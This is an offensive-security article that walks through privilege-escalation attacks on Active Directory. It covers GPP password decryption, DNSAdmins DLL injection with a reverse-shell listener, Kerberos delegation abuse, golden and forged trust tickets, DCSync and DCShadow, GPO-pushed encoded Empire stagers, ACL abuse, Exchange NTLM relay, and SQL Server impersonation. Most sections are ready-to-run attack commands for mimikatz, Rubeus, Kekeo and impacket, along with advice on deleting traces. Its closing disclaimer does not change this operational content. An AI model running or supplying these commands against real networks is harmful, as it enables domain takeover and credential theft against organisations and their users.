Attacking Active Directory. An overview of actual privilege escalation techniques

Compromising a domain controller involves more than just finding a known vulnerability, stealing user credentials, or identifying an error in the security policy settings. The above ‘achievements’ grant only the minimum access level that may be insufficient for your goals. Therefore, to deliver a successful attack, you must escalate your system privileges in Active Directory. This article is dedicated to this intriguing process.

Passwords contained in SYSVOL and GPP

Each Windows PC connected to a network with Active Directory has a built-in administrator account protected by a password. One of the standard security requirements is to change this password on a regular basis. This objective might seem simple – but not for a network consisting of a hundred machines.

To make their lives easier, lazy system administrators sometimes use group policies to install the local administrator password on a large number of computers at once. This is convenient, and this password can be changed in a couple of minutes when the time comes. The only problem is that the local administrator password will be the same on all machines.

Accordingly, the hacker who manages to intercept the admin credentials on one PC automatically becomes the admin for all the remaining machines. There are two ways to do so.

Credentials contained in SYSVOL

SYSVOL is a domain-wide Active Directory resource; all authenticated users have read access to it. SYSVOL contains login scenarios, group policy data, and other data that should be available throughout the space regulated by the domain policy. SYSVOL is automatically synchronized and used by all domain controllers. All domain group policies are stored at \\<Domain>\SYSVOL\<Domain>\Policies\.

To simplify the management of local admin accounts on remote Windows computers, a unique password change scenario can be used on each of the machines. Too bad, the password is often stored as plain text in a script (e.g. in the VBS file), which, in turn, is stored in SYSVOL. Below is the result of a search for a VSB scenario changing the local admin password on networked computers.

This scenario is available in the Microsoft TechNet Gallery and often used by system administrators preferring out-of-the-box solutions. It is a joke to extract the password from it. As said above, the script is stored in SYSVOL that can be read by all domain users; therefore, the hacker who has extracted the password automatically becomes the administrator for all networked Windows computers.

Group policy settings

In 2006, the PolicyMaker tool developed by DesktopStandard (later purchased by Microsoft) was renamed and released with Windows Server 2008 as Group Policy Preferences (GPP). One of the most useful GPP functions is the possibility to create local users, configure and edit their accounts, and save account data in several scenario files:

• drive map (Drives.xml);
• data sources (DataSources.xml);
• printer configuration (Printers.xml);
• service creation/update (Services.xml); and
• scheduled tasks (ScheduledTasks.xml).

No doubt, the function is very useful: it automates plenty of routine actions. For instance, GPP allows to use the group policy for implementation of the scheduled tasks with certain account data and, if necessary, change the local admin password on many computers.

Now let’s see how it works. When a new group policy preference is created, an associated XML file containing the respective configuration data is generated in SYSVOL. If it includes a user password, it will be encrypted with the 256-bit AES. However, in 2012, Microsoft has published the AES key on MSDN; this key can be used to decrypt such passwords.

In other words, any user authenticated on the domain may find in the shared SYSVOL resource XML files containing cpassword (i.e. the value that contains the AES encrypted password).

These values can be quickly found using the following command:

C:\> findstr /S /I cpassword \\\sysvol\\policy\*. xml

Cryptool can be used for decryption; however, you must manually decode Base64 and specify the MSDN key. There is also a fully automated tool: gpp-decrypt; it is included in Kali Linux and requires only the cpassword value. A similar utility for Windows is called Get-GPPPassword; it is included in the PowerSploit offensive security framework.

The most lazy hackers may use the smb_enum_gpp module from Metasploit Project. It only asks to provide user credentials and the domain controller address.

This is how the local admin password can be cracked, and in most cases, this technique will work on all domain machines.

DNSAdmins

Not only has Microsoft implemented its own DNS server, but also introduced a management protocol for it allowing to integrate the DNS server with Active Directory domains. By default, the domain controllers are also DNS servers; therefore, the DNS servers should be available to each domain user. This opens a possibility for attacks targeting domain controllers: on the one hand, there is the DNS protocol, on the other hand, the RPC-based management protocol.

A user included in the DNSAdmins group or having write permissions to objects of the DNS server can upload an arbitrary DLL with System privileges to the DNS server. This is very dangerous because many corporate networks use the domain controller as a DNS server.

So, to perform such an attack, you just have to upload an arbitrary library to the DNS server using dnscmd (the path \\ops-build\dll should be available to the DC for reading):

PS C:\> dnscmd ops_dc/config/serverlevelplugindll \\ops-build\dll\mimilib.dll

The following command can be used to check whether a DLL was successfully uploaded:

PS C:\> Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll

Because the user whose credentials have been intercepted is a member of the DNSAdmins group, you can restart the DNS service:

C:\> sc \\ops-dc stop dns
C:\> sc \\ops-dc start dns

After the restart of the DNS server, the code contained in the uploaded DLL will be executed. Such a library may contain, for instance, a reverse connection PowerShell script.

After the successful execution of the script, you will be able to listen the reverse connection from your host.

PS C:\> powercat -l -v -p 443 -t 1000

As a result, you gain the system rights on the DC.

Kerberos delegation

Delegation is an Active Directory function used when a user or PC account needs to impersonate another account. For instance, when a user calls a web application to work with resources located on the database server.

According to the above scheme, the web server should communicate with the database server on behalf of the user. Delegation makes this possible: the flag TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION (T2A4D) User-Account-Control is applied to respective user accounts in Windows.

To implement the delegation function, Microsoft introduced the Server-for-User-to-Self (S4U2self) extension for Kerberos. It allows the service to request a token for another user by supplying the user name, but without supplying a password. When the user account has the T24AD flag, such tokens can be requested with the forwardable attribute, which allows the service to authenticate to other services with these tokens.

To avoid unconstrained delegation, Microsoft ensured that these tokens could only be used for specific services that are configured for the user account via the Service For User To Proxy (S4U2Proxy) extension. This parameter is controlled by the msDS-AllowedToDelegateTo attribute in the user account. It contains a list of Service Principal Names that indicate which Kerberos services the user can forward these tokens to (similarly to the ‘normal’ Kerberos Constrained Delegation). For instance, you want your web service to access a folder shared for users. Then the service account must have the following attribute:

ms-DS-AllowedToDelegateTo "SIFS/fs.dom.com"

Below is the Kerberos authentication scheme.

1. The user authenticates to the web service using a non-Kerberos compatible authentication mechanism.
2. The web service requests a ticket for the user account without supplying a password, as for the svc_web account.
3. The Key Distribution Center (KDC) checks the svc_web userAccountControl value for the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION flag, and whether the target user is not blocked for delegation. If everything is fine, the KDC returns a forwardable ticket for the user account (S4U2Self).
4. Then the service passes this ticket back to the KDC and requests a service ticket for the cifs/fs.contoso.com service
5. The KDC checks the msDS-AllowedToDelegateTo field on the svc_web account. If the service is on the list, it returns a service ticket for the shared directory (S4U2Proxy).
6. The web service can now authenticate to the shared directory as the user account using the supplied ticket.

Unconstrained delegation

When Kerberos unconstrained delegation is enabled on the server hosting the service, the domain controller (DC) places a copy of the user’s TGT (ticket granting ticket) in the TGS (Ticket Granting Server). When the user’s service ticket (TGS) is provided to the server for service access, the server opens the TGS and places the user’s TGT into LSASS (Local Security Authority Subsystem Service) for later use. Now the application server can impersonate that user without limitation!

In other words, the host where unconstrained delegation is enabled contains in its memory the delegated user’s TGT. Your goal, as a hacker, it to retrieve it, thus, compromising the user. This attack type becomes possible after you have compromised either the host or user controlling the host with delegation.

It is very easy to identify all computers where Kerberos unconstrained delegation is enabled: they have the TrustedForDelegation flag. The ADModule utility is used to detect it. Enter the following command:

PS C:\> Get-ADComputer -Filter {TrustedForDelegation -eq $True}

Alternatively, you can use a PowerView command:

PS C:\> Get-DomainComputer-Unconstrained

Now you have to send the MS-RPRN request RpcRemoteFindFirstPrinterChangeNotification (Kerberos authentication) to the DC print server (the Spooler service). The DC will immediately send a response activating the TGS (the full copy of TGT) of the domain controller’s account because this host uses unconstrained delegation.

To do this, start listening incoming connections with Rubeus:

C:\> Rubeus.exe monitor /interval:1

Then initiate a request using SpoolSample:

C:\>. \SpoolSample.exe DC.domain.dom yourhost.domain.dom

You will see a connection in Rubeus.

Now grab the TGT:

C:\> Rubeus.exe ptt /ticket:doIE+DCCBPSgAwIBBaE ...
C:\> Rubeus.exe klist

Having the TGT, you can perform a DCSync attack using mimikatz:

## lsadump::dcsync /user:HACKER\krbtgt

After getting the NTLM hash of the krbtgt account, you can create a golden ticket granting full access to the entire domain infrastructure:

## kerberos::golden /user:Administrator /domain:domain.dom /sid:S-1-5-21-1559558046-1467622633-168486225 /krbtgt:9974f218204d6b8109ea99ae9c209f23 /ptt

Now you can remotely connect to the domain controller as a domain administrator.

PS C:\> Enter-PSSession -ComputerName dc

Constrained delegation

Omitting the details of the S4U2Self/S4U2proxy implementation, it suffice to say that any account with a Service Principal Name (SPN) having the msDS-AllowedToDelegateTo attribute can impersonate any domain user.

If you were able to change the content of msDS-AllowedToDelegateTo for any taken account, you could perform a DCSync attack on the current domain. However, to change any delegation parameters on the domain controller, the SeEnableDelegationPrivilege privilege is required. By default, only domain admins’ accounts have such privileges.

S4U2self is the first extension implementing constrained delegation. It enables the service to request from itself a special forwardable TGS on behalf of a specific user. This mechanism is used when the user authenticates to a service without using Kerberos (in this particular example, using a web service).

During the first TGS request, the forwardable flag is set, so that the returned TGS is marked as forwarded and can be used with the S4U2proxy extension. In unconstrained delegation, TGT is used for user identification; in such a case, the S4U extension uses the PA-FOR-USER structure as a new type in the [padata]/pre-authentication data field.

S4U2self may be implemented for any user account, and the target user’s password won’t be requested. In addition, S4U2self is allowed only if the requester’s account has the flag TRUSTED_TO_AUTH_FOR_DELEGATION.

There is a special category of attacks called Kerberoasting; such attacks extract service accounts from Active Directory on behalf of an ordinary user without sending packets to the target system. Why in this particular case is it impossible to use Kerberoasting for stealing credentials of any given user? Because the Privilege Account Certificate (PAC) is signed for the initial user (i.e. not the target one): the requesting service account. However, now you have a special service ticket that can be forwarded to the target service configured for constrained delegation.

S4U2proxy is the second extension using constrained delegation. It enables the requester (in this example, the service account) to use this forwardable ticket to request a TGS to any SPN listed in msDS-AllowedToDelegateTo to impersonate the user specified at the S4U2self stage. The KDC checks whether the requested service is present in the field msDS-AllowedToDelegateTo of the requesting user and, if yes, grants the ticket.

This allows to define a criterion for constrained delegation searches: the msDS-AllowedToDelegateTo value must not be equal to zero:

PS C:\> Get-DomainComputer -TrastedToAuth
PS C:\> Get-DomainUser -TrastedToAuth

The computer or user account with an SPN set in msDS-AllowedToDelegateTo can impersonate any user for the target service. Therefore, after compromising one of these accounts, you can gain access privileges to the target SPN.

Using the above principle, you can perform four privilege escalation attacks.

In the first scenario, if you know the password to an account with constrained delegation, you can use Kekeo to make a TGT request, then make an S4U TGS request, and gain access to the target service.

First, make a TGT request to a user account with enabled constrained delegation (e.g. SQLService):

C:\> asktgt.exe /user: /domain: /password: /ticket:sqlservice.kirbi

Then implement S4U2proxy with the received TGT. As a result, you get a TGS for access to a private domain resource:

C:\> s4u.exe /tgt:sqlservice.kirbi /user:Administrator@ /service:cifs/

Use mimikatz to inject the TGS:

## kerberos::ptt 

Finally, you gain access to the private resource.

If you want to compromise a computer account configured for constrained delegation, use a different approach. Because any process running with system privileges gains account privileges of the local computer, the step involving asktgt.exe can be skipped. You can also use an alternative method provided by Microsoft for S4U2proxy implementation. Open PowerShell and execute the following code:

PS C:\> $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
PS C:\> $Ident = New-Object System.Security.Principal.WindowsIdentity @('Administrator@domain.dom')
PS C:\> $Context = $Ident.Impersonate()

After injecting the TGS of the specified user, you can access the private resource again. Then you return to your own user space by entering a PowerShell command:

PS C:\> $Context.Undo()

In the third scenario, you take all the steps described in the first scenario, but the user’s NTLM hash is used instead of the password. The fourth attack is similar to the third one, but instead of the user name, you take the computer name.

Resource-based constrained delegation

This constrained delegation variant resembles the ‘regular’ constrained delegation, but works in the opposite direction.

1. The constrained delegation from account A to account B is set for account A in the attribute msDS-AllowedToDelegateTo and defines the ‘outgoing’ trust from A to B.
2. The resource-based constrained delegation is set for account B in the attribute msDS-AllowedToActOnBehalfOfOtherIdentity and defines the ‘incoming’ trust from A to B.

To escalate privileges in the second case, you have to populate the attribute msDS-AllowedToActOnBehalfOfOtherIdentity with a computer account under your control and know the SPN set for the object you want to gain access to. The point is that with the MachineAccountQuota parameter (by default, it allows each user to create 10 computer accounts), you can do so on behalf of a nonprivileged account. The only privilege you need is the capability to write the attribute on the target computer.

Create a new computer account using PowerMad and specify the password to the computer, so that you’ll have the hash for it.

PS C:\> $password = ConvertTo-SecureString 'PASSWORD' -AsPlainText -Force
PS C:\> New-MachineAccount -machineaccount RBCDmachine -Password $($password)

Now you need to populate the msDS-msDS-AllowedToActOnBehalfOfOtherIdentity attribute for the target DC that you have permissions over.

PS C:\> Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount RBCDmachine$
PS C:\> Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount

At the next step, you have to get hash for your password:

PS C:\> ConvertTo-NTHash $password

Now you have everything you need to perform the attack and get the ticket:

C:\> s4u.exe /user:RBCDmachine$ /rc4: /impersonateuser: /msdsspn:cifs/ /ptt

You can check whether the received ticked was imported successfully as follows:

## klist

As a result, you gain access to a resource on the domain controller. Using the same method, it is possible to perform a DCSync attack through LDAP.

Unsafe access rights to Group Policy Objects (GPO)

Group Policy Objects are Active Directory containers storing policy settings clustered in groups. These objects are subsequently associated with specific sites, domains, or other organizational units (OU). Group Policy Objects constitute complex structures consisting of links, inheritances, exceptions, filters, and groups. While configuring domains, system administrators often make errors that are very difficult to notice. However, the BloodHound toolkit will help you to detect such errors and identify the best way to compromise a Group Policy Object.

Let’s assume that the Group Policy Objects include a compromised element. The Group Policy has zillions of parameters that can be manipulated. This provides numerous ways to compromise workstations and users related to the vulnerable object.

For instance, you can implement specific scenarios, create a backdoor in Internet Explorer, inject an MSI file in the software installation section, add your domain account to the group of local administrators or RDP, or forcibly mount a network resource that is under your control and allows to steal account credentials of connected users.

To implement such a malicious plan, you can launch a scheduled task that will be deleted with every group policy update. The first stage of the attack is simple: you have to create an .xml template in the schtask format and copy it to the file \Machine\Preferences\ScheduledTasks\ScheduledTasks.xml of the Group Policy Object that you can edit. After waiting for an hour or two (until the group policy update cycle is completed), delete the .xml to cover the traces.

The New-GPOImmediateTask module included in PowerView can do this automatically. To use it, the -TaskName, -Command argument is required: it sets the command to be executed (by default, it is powershell.exe), while the -CommandArguments parameter specifies arguments for this executable file. The task description, author, and modification date can also be changed using respective parameters. Schtask.xml is created in accordance with your specifications and copied to a location determined by the arguments -GPOname or -GPODisplayname. By default, the function asks a permission before copying, but this option can be disabled using the -Force argument.

Let’s use New-GPOImmediateTask to upload Stager Empire on computers where the {3EE4BE4E-7397-4433-A9F1-3A5AE2F56EA2} group policy object (its display name is SecurePolicy) is applied:

New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-NoP -NonI -W Hidden -Enc JABXAGMAPQBO...' -Force

The result demonstrates how severe may be the consequences of errors made while configuring domain group policies.

Unsafe ACL access rights

ACLs (Access Control Lists) are the settings that define what objects get access to other objects in Active Directory. Such objects include user accounts, groups, computer accounts, the domain itself, etc.

An ACL may be configured for a specific object (e.g. user account) or for an organizational unit (OU). The main benefit of ACL configuring for an OU (provided that the configuration is correct!) is that all descendant objects will inherit this ACL. The ACL of an OU containing objects includes an Access Control Entry (ACE) that defines the identifier and respective permissions applied to the OU or descending objects. Each ACE includes a security identifier (SID) and access mask; there are four ACE types: access allowed, access denied, permitted object, and restricted object. The only difference between the access allowed and permitted object types is that the latter one is used exclusively in Active Directory.

Here is an example of an attack exploiting an incorrect ACL configuration. Imagine that you have already collected the initial information using BloodHound; so, let’s jump directly to the privilege escalation phase.

BloodHound draws a graph where the target group is Domain Admins.

On the left, there is a user with relatively low privileges with an ACL-only attack path ending up in control of the Domain Admins group. This user is a member of the security group (MemberOf) in the center. That group has full control (GenericAll) over the user on the right. Because the ACL is inherited, the user on the left also has that control.

GenericAll means full control over an object, including the ability to add new members to a group, change a user password without knowing its current value, register an SPN with a user object, etc. This possibility is exploited with Set-DomainUserPassword or Add-DomainGroupMember.

Next step. The user on the left belongs to the group in the center. That group has both full control (GenericAll) and excessive control (ForceChangePassword) over the user on the right.

ForceChangePassword is the ability to change the target user’s password without knowing its current value. It is exploited with Set-DomainUserPassword.

The final step. The group on the left has the ForceChangePassword privilege in relation to several users who all belong to the group in the center. That group in the center has full control over the group on the right (Domain Admins).

Important: the control over the Domain Admins group does not mean that you have control over the users in this group. In that case, you can create a new user and add it to the target group. This enables you to perform a DCSync attack and then delete this user to cover up the traces.

This is how BloodHound and ACL configuration errors can be used to gain control over the domain.

The above attack can be automated using the Invoke-ACLPwn script. It exports all ACL lists in the domain with SharpHound as well as the group membership of the user account the tool is running under.

After calculating and parsing every ACL in the chain leading to the target group, the script starts making sequential steps towards it. If necessary, the mimikatz DCSync function can be called and the user account hash requested. The default account is krbtgt. After the exploitation, the user will be removed from the ACL and from the groups that were added during the runtime; the ACE records made in the domain object’s ACL will be deleted as well.

The result of the test performed by Fox-It company is shown below.

The scrip has enumerated and passed through 26 groups by changing membership in security and management groups. Ultimately, the hash of the krbtgt account was obtained.

Domain trusts

Sometimes, an organization can use several domains with trusts (i.e. trust relationships) established between them and enabling users in the domain to get access to services in other domains.

Trust relationships between domains can be one- or two-way. This means that if Domain A trusts Domain B, then Domain B may use resources of Domain A. In addition, trusts are transitive: if Domain A trusts Domain B and Domain B trusts Domain C, then Domain A also trusts Domain C.

A hierarchic domain system having a root domain is called a domain tree. If various trees have different trust relations, the totality of these trees is called a forest.

In the course of the Kerberos authentication between domains that trust each other, the user’s domain controller encrypts the TGS not with the service key, but with the inter-realm trust key. The user provides this TGS to the domain controller of the service who, in turn, returns to the user the TGS encrypted with the service key. Only then the user may address the required service.

The NTLM authentication in this case works differently: the domain controller of the service checks authentication permissions and forwards the request to the client’s domain controller who performs the check and returns the result.

The authentication scheme in trusted domains has been addressed above, and I explained how to compromise the DC in a domain. Now let’s find out how to compromise another trusted domain.

The trust password can be found in the domain credential locker. Just search for names with the dollar symbol in the end. The majority of accounts with such names are computer accounts, but some of them are trust ones.

The trust key was retrieved together with all user data by compromising the account data in Active Directory. Each trust has an associated user account containing that NTLM password hash. These data can be used to forge trust TGS.

The trust ticket is created similarly to the golden ticket: the same mimikatz command is used, although with different parameters. The service key is the hash of the password to the trusted NTLM, while the ultimate goal is the full domain name of the target domain.

## kerberos::golden /domain: /sid: /rc4: /user:Administrator /service:krbtgt /target: /ticket: 

Now let’s create a TGS for the target service in the target domain using Kekeo.

C:\> asktgs.exe  cifs/

I have already explained how to use the created ticket. Now let’s see how to forge a TGS ticket inside a forest. First, you have to dump all trust passwords (trust keys):

## Privilage::debug
## Lsadump::trust /patch

Create a forged trust ticket (inter-realm TGT):

## kerberos::golden /domain:/sid:/sids: /rc4:/user: /service:krbtgt /target:/ticket:

Then generate a TGS:

C:\> asktgs.exe  cifs/

And finally, inject the TGS to gain access with the spoofed rights:

C:\> kirbikator lsa  

After the successful execution of this command, the user becomes an administrator and gains higher privileges in the target domain. This is how you can advance from one domain to another because each domain has a password linking it with another domain.

DCShadow

One of the malefactor’s goals is to steal account credentials of users and computers while remaining undetected by security mechanisms. For that purpose, several attack techniques have been developed: LSASS injection, Shadow Copy abuse, NTFS volume parsing, manipulations with sensitive attributes, etc.

One of these attacks is linked with the DCShadow attack. The DCSync attack is based on the ability of members of the Domain Admins or Domain Controllers groups to ask a domain controller (DC) for data replication. In fact, according to the MS-DRSR specification for domain controller replication, these groups can request the Domain Controller to replicate AD objects (including user credentials) with RPC GetNCChanges. A DCSync attack with mimikatz looks as follows:

## lsadump::dcsync /user:Administrator

One of the main limitations of the DCSync attack is that the attacker cannot inject new objects in the target domain. Of course, the attacker can take ownership of an administrative account using the Pass-The-Hash technique and inject objects afterwards, but this requires more efforts and steps and increases the risk of detection. The DCShadow attack eliminates this limitation: the attackers no longer try to replicate data but instead register new domain controllers in the target infrastructure to inject Active Directory objects or alter the existing ones.

A server can be considered a domain controller if it includes the following four key components:

• a database accessible through LDAP protocols and implementing several RPCs in accordance with the MS-DRSR and MS-ADTS specifications (i.e. enabling to replicate data);
• an authentication service accessible through Kerberos, NTLM, Netlogon, or WDigest protocols;
• a configuration management system using the SMB and LDAP protocols; and
• a DNS service used by clients to locate resources and support authentication.

In addition, the new DC should be registered with the Knowledge Consistency Checker (KCC). The KCC is a built-in process running on all domain controllers and maintaining the replication topology for the Active Directory forest. The KCC creates individual replication topologies. This service also dynamically adjusts the topology to ensure that it reflects the addition of new domain controllers and removal of existing ones. By default, the KCC initiates AD replication topology every 15 minutes.

The following conditions have to be met: (1) the attack must be performed from a computer in the domain; and (2) the attacker must have the System privileges on this computer and Domain Admin privileges in the domain.

First, escalate your privileges to System with mimikatz.

Then change the userAccountControl value:

lsadump::dcshadow /object:pc-10$ /atribute:userAccountControl /value:532480

The command below pushes the changes from the newly-registered domain controller to the legitimate one:

lsadump :: dcshadow /push

After the execution of this command, you will see that the values are updated, while the RPC server stops.

You have essentially registered a new domain controller and now can perform any operations with it.

Exchange

The main vulnerability in the infrastructure of this product is that Exchange has high privileges in the Active Directory domain. The Exchange Windows Permissions group has WriteDacl access in Active Directory; this enables any member of this group to modify the domain privileges, including the privilege to perform DCSync attacks.

To execute arbitrary code on other network hosts, you can relay the NTLM authentication over SMB. However, other protocols are also vulnerable to relaying. The most interesting (from this perspective) protocol is LDAP that can be used to read and modify objects in Active Directory. The point is that the attacker’s computer connects to a Windows server, and it is possible to pass the authentication (that is automatically performed) to other machines in the network as shown on the scheme below. This is called a relay attack.

When authentication is relayed to LDAP, objects in the directory can be modified. As a result, the malefactor’s privileges are granted to these objects, including privileges required for DCSync operations. So, to perform an ACL attack, you have to make an Exchange server to authenticate to you with NTLM authentication. To do so, it is necessary to get Exchange to authenticate to your system.

It is possible to force Exchange to authenticate to an arbitrary URL address over HTTP using the Exchange PushSubscription function. The push notification service has an option to send a message every X minutes (where X can be set by the attacker) even if nothing has happened. This ensures that Exchange will connect to you even if there is no activity in the Inbox. The attack scheme is shown on the picture below:

Tools required for this attack are included in impacket.

To relay LDAP, run ntlmrelayx and specify the user under your control and domain controller:

ntlmrelayx.py -t ldap://DC.domain.dom --escalate-user USER

Then run the privexchange script:

privexchange -ah Attacker_host Exchange_host -u USER -d DOMEN

Important: the user must have a mailbox on your Exchange server. Some time later (after sending the push notification), you will see the following output in ntlmrelayx.

This indicates that your user has DCSync privileges:

secretsdump domain/user@DC -just-dc

This is how Exchange enables hackers to replicate account data.

Sysadmin SQL Server

It is possible to escalate your privileges from a local administrator to a DBA system administrator using the SQL Server account.

SQL Server is yet another Windows application. Each SQL Server instance is installed as a set of Windows services running in the background mode. Each of these services is configured to interact with a Windows account. The associated account is later used for global interaction with the OS.

The main Windows SQL Server’s service is SQL Server implemented as the sqlservr.exe application.

SQL Server services may be configured with many types of Windows accounts. The list of these accounts is provided below:

• Local User;
• LocalSystem;
• NetworkService;
• Local Managed Service Account;
• Domain Managed Service Account;
• Domain User; and
• Domain Admin.

A compromised SQL Server service may compromise the entire domain. But, regardless of the SQL Server service account’s privileges in the OS, it has sysadmin privileges on the SQL Server by default.

The PowerUpSQL toolkit is used to gain control over a service account. A local admin account is required for that.

First, it is necessary to find a local SQL Server using the Get-SQLInstanceLocal command. In the command output, look for the string containing Instance: MSSQLSRV04\BOSCHSQL.

The next command provides you with an SQL Server account:

Invoke-SQLImpersonateService -Verbose -Instance MSSQLSRV04\BOSCHSQL

Now it is necessary to make sure that everything went fine:

Get-SQLServerInfo -Verbose -Instance MSSQLSRV04\BOSCHSQL

The output must include the string containing CurrentLogin: NT Service\MSSQL$BOSCHSQL.

As a result, you gain the sysAdmin DBO privileges. There is also a solution that launches cmd.exe in the context of each SQL service account associated with the instance MSSQLSRV04\BOSCHSQL:

Invoke-SQLImpersonateServiceCmd -Instance MSSQLSRV04 \ BOSCHSQL

Conclusions

This article is not an instruction manual. Its purpose was to demonstrates how high are the requirements to professional skills of administrators responsible for security in the Active Directory environment. And just in case, I would like to remind: all unlawful actions are punishable under the respective laws!

For those interested in this topic, I created @RalfHackerChannel on Telegram where you can ask any questions (or answer questions of other users). See you there!